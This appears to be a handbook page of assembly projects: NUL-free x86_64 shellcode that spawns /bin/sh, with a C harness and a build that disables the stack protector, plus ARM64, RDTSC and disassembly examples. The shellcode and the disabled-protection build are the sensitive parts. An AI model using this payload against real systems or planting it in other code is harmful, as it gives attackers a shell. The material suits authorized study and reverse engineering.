Projects#
Assembly projects in the operator’s sweet spot, the small, hand-coded artifacts where the language earns its place, shellcode, disassembly walkthroughs, and CPU-feature demonstrations.
Warning
Authorization required. Shellcode and exploit primitives below are for authorized research environments only (CTF, range, owned systems). See Disclaimers.
Linux x86_64 shellcode#
The smallest useful payload, execve("/bin/sh", NULL, NULL)
with no NUL bytes (so it survives string copies). The operator
writes one to understand what an exploit chain has to produce.
; shellcode.asm
; Linux x86_64, exec /bin/sh with no NULs in the encoded form
bits 64
global _start
_start:
xor rsi, rsi ; argv = NULL
push rsi ; trailing 0 for "/bin/sh"
mov rdi, 0x68732f6e69622f ; "/bin/sh" (reversed for little-endian)
push rdi
mov rdi, rsp ; rdi = "/bin/sh"
xor rdx, rdx ; envp = NULL
mov al, 59 ; sys_execve
syscall
Assemble and dump the bytes.
$ nasm -f elf64 shellcode.asm -o shellcode.o
$ ld -N shellcode.o -o shellcode
$ objdump -d -M intel shellcode | grep -E '^\s+[0-9a-f]+:' \
| awk '{ for (i=2;i<=NF;i++) if ($i ~ /^[0-9a-f]{2}$/) printf "\\x"$i }'
Test from C.
#include <string.h>
unsigned char sc[] = "\x48\x31\xf6..."; /* paste the bytes */
int main(void) {
void (*f)(void) = (void *)sc;
f();
}
Compile with execstack.
$ gcc -z execstack -fno-stack-protector test_sc.c -o test_sc
ARM64 hello, world#
Same program, ARM64 syscall ABI. Useful as a Rosetta-stone for the operator moving between architectures.
// hello.s (GAS / AArch64)
.data
msg:
.ascii "hello\n"
len = . - msg
.text
.global _start
_start:
mov x0, #1 // fd = stdout
adr x1, msg // buf
mov x2, #len // count
mov x8, #64 // sys_write
svc #0
mov x0, #0 // status
mov x8, #93 // sys_exit
svc #0
$ aarch64-linux-gnu-as hello.s -o hello.o
$ aarch64-linux-gnu-ld hello.o -o hello
$ qemu-aarch64 hello
RDTSC timer#
A free-standing inline-assembly cycle counter drop into a microbenchmark. C calls into a one-instruction asm block.
#include <stdint.h>
#include <stdio.h>
static inline uint64_t rdtsc(void) {
uint32_t lo, hi;
__asm__ volatile ("rdtsc" : "=a"(lo), "=d"(hi));
return ((uint64_t)hi << 32) | lo;
}
int main(void) {
uint64_t t0 = rdtsc();
/* code under measurement */
uint64_t t1 = rdtsc();
printf("cycles: %lu\n", t1 - t0);
}
Disassembly walkthrough#
Less a “project” than an exercise the operator repeats. Pick a function in a binary you want to understand. Disassemble. Walk it instruction by instruction. Match each block to the control-flow form (if, loop, switch).
$ objdump -d -M intel target | less
$ r2 -A target
> afl # list functions
> pdf @ main # disassemble main
> VV # visual graph view
The operator’s goal: read the disassembly fluently enough to recognize compiler patterns, prologue / epilogue, calling conventions, stack-frame layout, vtables, branch idioms.
Common Tasks#
Find function boundaries in a stripped binary.
$ objdump -d target | awk '/^[0-9a-f]+ <.*>:/{print}'
$ r2 -A target -c 'afl' -q
Identify which compiler / version built a binary.
$ strings -n 8 target | grep -iE 'gcc|clang|rustc|go|fasm'
$ readelf -p .comment target
Extract executable bytes from an ELF.
$ objcopy -O binary --only-section=.text target target.text
Patch a single byte in a binary.
$ printf '\x90' | dd of=target bs=1 seek=$((0xCAFE)) count=1 conv=notrunc
Capture syscalls a binary makes.
$ strace -f -o trace.log ./target
$ ltrace -f -o ltrace.log ./target
References#
Setup for the assembler / linker / disassembler.
Operations for the offensive context shellcode lives in.
Intel SDM, x86_64 reference.
Arm ARM, AArch64 reference.
shell-storm, shellcode archive.
Practical Reverse Engineering, Dang, Gazet, Bachaalany.
OSDev wiki, freestanding references.